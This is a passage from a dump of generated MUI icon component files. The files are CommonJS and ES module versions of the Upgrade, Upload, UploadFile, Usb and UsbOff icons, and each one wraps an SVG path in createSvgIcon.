    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 19c0 .55-.45 1-1 1H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1M11 7.99V15c0 .55.45 1 1 1s1-.45 1-1V7.99h1.79c.45 0 .67-.54.35-.85l-2.79-2.78c-.2-.19-.51-.19-.71 0L8.86 7.14c-.32.31-.1.85.35.85z\"\n}), 'UpgradeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpgradeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 18v2H8v-2zM11 7.99V16h2V7.99h3L12 4 8 7.99z\"\n}), 'UpgradeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpgradeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 18v2H8v-2zM11 7.99V16h2V7.99h3L12 4 8 7.99z\"\n}), 'UpgradeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpgradeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 18v2H8v-2zM11 7.99V16h2V7.99h3L12 4 8 7.99z\"\n}), 'UpgradeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UpgradeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 18v2H8v-2zM11 7.99V16h2V7.99h3L12 4 8 7.99z\"\n}), 'UpgradeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Upload.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20h14v-2H5zm0-10h4v6h6v-6h4l-7-7z\"\n}), 'Upload');"
  },
  {
    "path": "packages/mui-icons-material/lib/Upload.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20h14v-2H5zm0-10h4v6h6v-6h4l-7-7z\"\n}), 'Upload');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFile.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5zM8 15.01l1.41 1.41L11 14.84V19h2v-4.16l1.59 1.59L16 15.01 12.01 11z\"\n}), 'UploadFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFile.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5zM8 15.01l1.41 1.41L11 14.84V19h2v-4.16l1.59 1.59L16 15.01 12.01 11z\"\n}), 'UploadFile');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFileOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5zM8 15.01l1.41 1.41L11 14.84V19h2v-4.16l1.59 1.59L16 15.01 12.01 11z\"\n}), 'UploadFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFileOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5zM8 15.01l1.41 1.41L11 14.84V19h2v-4.16l1.59 1.59L16 15.01 12.01 11z\"\n}), 'UploadFileOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFileRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M14.8 15H13v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H9.21c-.45 0-.67-.54-.35-.85l2.8-2.79c.2-.19.51-.19.71 0l2.79 2.79c.3.31.08.85-.36.85M14 9c-.55 0-1-.45-1-1V3.5L18.5 9z\"\n}), 'UploadFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFileRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M14.8 15H13v3c0 .55-.45 1-1 1s-1-.45-1-1v-3H9.21c-.45 0-.67-.54-.35-.85l2.8-2.79c.2-.19.51-.19.71 0l2.79 2.79c.3.31.08.85-.36.85M14 9c-.55 0-1-.45-1-1V3.5L18.5 9z\"\n}), 'UploadFileRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFileSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm-1 13v4h-2v-4H8l4.01-4L16 15zm0-6V3.5L18.5 9z\"\n}), 'UploadFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFileSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm-1 13v4h-2v-4H8l4.01-4L16 15zm0-6V3.5L18.5 9z\"\n}), 'UploadFileSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFileTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm3 11h-3v4h-2v-4H8l4.01-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 15h3v4h2v-4h3l-3.99-4z\"\n}, \"2\")], 'UploadFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadFileTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm3 11h-3v4h-2v-4H8l4.01-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 15h3v4h2v-4h3l-3.99-4z\"\n}, \"2\")], 'UploadFileTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h6v-6h4l-7-7-7 7h4zm3-10.17L14.17 8H13v6h-2V8H9.83zM5 18h14v2H5z\"\n}), 'UploadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h6v-6h4l-7-7-7 7h4zm3-10.17L14.17 8H13v6h-2V8H9.83zM5 18h14v2H5z\"\n}), 'UploadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-5h1.59c.89 0 1.34-1.08.71-1.71L12.71 3.7a.996.996 0 0 0-1.41 0L6.71 8.29c-.63.63-.19 1.71.7 1.71H9v5c0 .55.45 1 1 1m-4 2h12c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'UploadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 16h4c.55 0 1-.45 1-1v-5h1.59c.89 0 1.34-1.08.71-1.71L12.71 3.7a.996.996 0 0 0-1.41 0L6.71 8.29c-.63.63-.19 1.71.7 1.71H9v5c0 .55.45 1 1 1m-4 2h12c.55 0 1 .45 1 1s-.45 1-1 1H6c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'UploadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 16h6v-6h4l-7-7-7 7h4zm-4 2h14v2H5z\"\n}), 'UploadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 16h6v-6h4l-7-7-7 7h4zm-4 2h14v2H5z\"\n}), 'UploadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.83 8H11v6h2V8h1.17L12 5.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 3-7 7h4v6h6v-6h4zm1 5v6h-2V8H9.83L12 5.83 14.17 8zM5 18h14v2H5z\"\n}, \"1\")], 'UploadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UploadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.83 8H11v6h2V8h1.17L12 5.83z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 3-7 7h4v6h6v-6h4zm1 5v6h-2V8H9.83L12 5.83 14.17 8zM5 18h14v2H5z\"\n}, \"1\")], 'UploadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Usb.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7v4h1v2h-3V5h2l-3-4-3 4h2v8H8v-2.07c.7-.37 1.2-1.08 1.2-1.93 0-1.21-.99-2.2-2.2-2.2S4.8 7.79 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.11.89 2 2 2h3v3.05c-.71.37-1.2 1.1-1.2 1.95 0 1.22.99 2.2 2.2 2.2s2.2-.98 2.2-2.2c0-.85-.49-1.58-1.2-1.95V15h3c1.11 0 2-.89 2-2v-2h1V7z\"\n}), 'Usb');"
  },
  {
    "path": "packages/mui-icons-material/lib/Usb.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7v4h1v2h-3V5h2l-3-4-3 4h2v8H8v-2.07c.7-.37 1.2-1.08 1.2-1.93 0-1.21-.99-2.2-2.2-2.2S4.8 7.79 4.8 9c0 .85.5 1.56 1.2 1.93V13c0 1.11.89 2 2 2h3v3.05c-.71.37-1.2 1.1-1.2 1.95 0 1.22.99 2.2 2.2 2.2s2.2-.98 2.2-2.2c0-.85-.49-1.58-1.2-1.95V15h3c1.11 0 2-.89 2-2v-2h1V7z\"\n}), 'Usb');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOff.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8h4v4h-1v2c0 .34-.08.66-.23.94L16 13.17V12h-1zm-4 .17 2 2V6h2l-3-4-3 4h2zM13 16v2.28c.6.34 1 .98 1 1.72 0 1.1-.9 2-2 2s-2-.9-2-2c0-.74.4-1.37 1-1.72V16H8c-1.11 0-2-.89-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.49L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-6.6-6.6zm-2-2v-.17l-2.51-2.51c-.14.16-.31.29-.49.4V14z\"\n}), 'UsbOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOff.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8h4v4h-1v2c0 .34-.08.66-.23.94L16 13.17V12h-1zm-4 .17 2 2V6h2l-3-4-3 4h2zM13 16v2.28c.6.34 1 .98 1 1.72 0 1.1-.9 2-2 2s-2-.9-2-2c0-.74.4-1.37 1-1.72V16H8c-1.11 0-2-.89-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.49L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-6.6-6.6zm-2-2v-.17l-2.51-2.51c-.14.16-.31.29-.49.4V14z\"\n}), 'UsbOff');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOffOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8h4v4h-1v2c0 .34-.08.66-.23.94L16 13.17V12h-1zm-4 .17 2 2V6h2l-3-4-3 4h2zM13 16v2.28c.6.34 1 .98 1 1.72 0 1.1-.9 2-2 2s-2-.9-2-2c0-.74.4-1.37 1-1.72V16H8c-1.11 0-2-.89-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.49L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-6.6-6.6zm-2-2v-.17l-2.51-2.51c-.14.16-.31.29-.49.4V14z\"\n}), 'UsbOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOffOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8h4v4h-1v2c0 .34-.08.66-.23.94L16 13.17V12h-1zm-4 .17 2 2V6h2l-3-4-3 4h2zM13 16v2.28c.6.34 1 .98 1 1.72 0 1.1-.9 2-2 2s-2-.9-2-2c0-.74.4-1.37 1-1.72V16H8c-1.11 0-2-.89-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.49L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-6.6-6.6zm-2-2v-.17l-2.51-2.51c-.14.16-.31.29-.49.4V14z\"\n}), 'UsbOffOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOffRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.6 5.2 2-2.67c.2-.27.6-.27.8 0l2 2.67c.25.33.01.8-.4.8h-1v4.17l-2-2V6h-1c-.41 0-.65-.47-.4-.8m5.9 6.8h.5v1.17l1.77 1.77c.14-.28.23-.6.23-.94v-2h.5c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5h-3c-.28 0-.5.22-.5.5v3c0 .28.22.5.5.5m4.99 9.9c-.39.39-1.02.39-1.41 0l-5.9-5.9H13v2.28c.6.34 1 .98 1 1.72 0 1.2-1.07 2.16-2.31 1.98-.88-.13-1.59-.88-1.68-1.77-.08-.83.33-1.55.99-1.93V16H8c-1.1 0-2-.9-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.5L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M11 13.83l-2.51-2.51c-.14.16-.31.29-.49.4V14h3z\"\n}), 'UsbOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.6 5.2 2-2.67c.2-.27.6-.27.8 0l2 2.67c.25.33.01.8-.4.8h-1v4.17l-2-2V6h-1c-.41 0-.65-.47-.4-.8m5.9 6.8h.5v1.17l1.77 1.77c.14-.28.23-.6.23-.94v-2h.5c.28 0 .5-.22.5-.5v-3c0-.28-.22-.5-.5-.5h-3c-.28 0-.5.22-.5.5v3c0 .28.22.5.5.5m4.99 9.9c-.39.39-1.02.39-1.41 0l-5.9-5.9H13v2.28c.6.34 1 .98 1 1.72 0 1.2-1.07 2.16-2.31 1.98-.88-.13-1.59-.88-1.68-1.77-.08-.83.33-1.55.99-1.93V16H8c-1.1 0-2-.9-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.5L2.1 4.93a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0l16.97 16.97c.4.39.4 1.02.01 1.41M11 13.83l-2.51-2.51c-.14.16-.31.29-.49.4V14h3z\"\n}), 'UsbOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8h4v4h-1v2c0 .34-.08.66-.23.94L16 13.17V12h-1zm-4 .17 2 2V6h2l-3-4-3 4h2zM13 16v2.28c.6.34 1 .98 1 1.72 0 1.1-.9 2-2 2s-2-.9-2-2c0-.74.4-1.37 1-1.72V16H8c-1.11 0-2-.89-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.49L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-6.6-6.6zm-2-2v-.17l-2.51-2.51c-.14.16-.31.29-.49.4V14z\"\n}), 'UsbOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8h4v4h-1v2c0 .34-.08.66-.23.94L16 13.17V12h-1zm-4 .17 2 2V6h2l-3-4-3 4h2zM13 16v2.28c.6.34 1 .98 1 1.72 0 1.1-.9 2-2 2s-2-.9-2-2c0-.74.4-1.37 1-1.72V16H8c-1.11 0-2-.89-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.49L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-6.6-6.6zm-2-2v-.17l-2.51-2.51c-.14.16-.31.29-.49.4V14z\"\n}), 'UsbOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 8h4v4h-1v2c0 .34-.08.66-.23.94L16 13.17V12h-1zm-4 .17 2 2V6h2l-3-4-3 4h2zM13 16v2.28c.6.34 1 .98 1 1.72 0 1.1-.9 2-2 2s-2-.9-2-2c0-.74.4-1.37 1-1.72V16H8c-1.11 0-2-.89-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.49L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-6.6-6.6zm-2-2v-.17l-2.51-2.51c-.14.16-.31.29-.49.4V14z\"\n}), 'UsbOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/UsbOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 8h4v4h-1v2c0 .34-.08.66-.23.94L16 13.17V12h-1zm-4 .17 2 2V6h2l-3-4-3 4h2zM13 16v2.28c.6.34 1 .98 1 1.72 0 1.1-.9 2-2 2s-2-.9-2-2c0-.74.4-1.37 1-1.72V16H8c-1.11 0-2-.89-2-2v-2.28c-.6-.34-1-.98-1-1.72 0-.59.26-1.13.68-1.49L1.39 4.22 2.8 2.81l18.38 18.38-1.41 1.41-6.6-6.6zm-2-2v-.17l-2.51-2.51c-.14.16-.31.29-.49.4V14z\"\n}), 'UsbOffTwoTone');"
  },
